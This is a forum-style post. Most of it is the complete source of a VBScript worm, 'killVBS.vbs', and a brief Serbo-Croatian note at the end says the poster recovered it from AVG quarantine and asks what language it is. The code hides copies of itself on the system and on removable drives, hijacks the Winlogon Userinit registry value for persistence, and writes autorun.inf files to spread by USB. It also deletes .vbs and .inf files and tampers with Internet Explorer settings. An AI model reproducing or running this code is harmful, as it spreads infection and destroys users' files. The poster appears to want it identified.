Option Explicit
On Error Resume Next
Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Shells = CreateObject("Wscript.Shell")
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir =Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(WScript.ScriptFullName)
Set Drv=File.Drive
Set InDrive = Fso.drives
Set ReadAll=File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbcrlf
Loop
Count=Drv.DriveType
Do
If Not Fso.FileExists(SystemDir & "\killVBS.vbs") then
set WriteAll = Fso.CreateTextFile(SystemDir & "\killVBS.vbs",2,true)
WriteAll.Write AllFile
WriteAll.close
set WriteAll = Fso.GetFile(SystemDir & "\killVBS.vbs")
WriteAll.Attributes = -1
End If
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\killVBS.vbs"
For Each Drives In InDrive
If Drives.DriveType=2 Then
LookVBS "inf",Drives.Path & "\"
LookVBS "INF",Drives.Path & "\"
End if
If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path<> "A:" Then
Shells.Regdelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL"
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title",""
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",""
Shells.RegWrite "HKCR\vbsfile\DefaultIcon","%SystemRoot%\System32\WScript.exe,2"
LookVBS "vbs",WinDir & "\"
LookVBS "vbs",Drives.Path & "\"
If Drives.DriveType = 1 Then
If Drives.Path<>"A:" Then
If Not Fso.FileExists(Drives.Path & "\killVBS.vbs") Then
Set WriteAll=Fso.CreateTextFile(Drives.Path & "\killVBS.vbs",2,True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\killVBS.vbs")
WriteAll.Attributes = -1
End If
If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then
Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
Chg.Attributes = -8
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[autorun]"
WriteAll.WriteLine "shellexecute=wscript.exe killVBS.vbs"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
else
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[autorun]"
WriteAll.WriteLine "shellexecute=wscript.exe killVBS.vbs"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
End if
End If
End if
End if
End If
Next
if Count <> 1 then
Wscript.sleep 10000
end if
loop while Count<>1
sub LookVBS(File2Find, SrchPath)
Dim oFileSys, oFolder, oFile,Cut,Delete
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFileSys.GetFolder(SrchPath)
For Each oFile In oFolder.Files
Cut=Right(oFile.Name,3)
If UCase(Cut)=UCase(file2find) Then
If oFile.Name <> "killVBS.vbs" Then Set Delete = oFileSys.DeleteFile(srchpath & oFile.Name,true)
End If
Next
End sub
Ovaj je pokusao da mi prodje, ali ga je AVG uhvatio, pa sam ga iskopao iz karantina i prebacio u TXT fajl. Ovo je copy/pase samog koda.
PS : izvinjavam se ako sam stavio pitanje u pogresan jezik, ovo mi lici na VB, mada nisam siguran.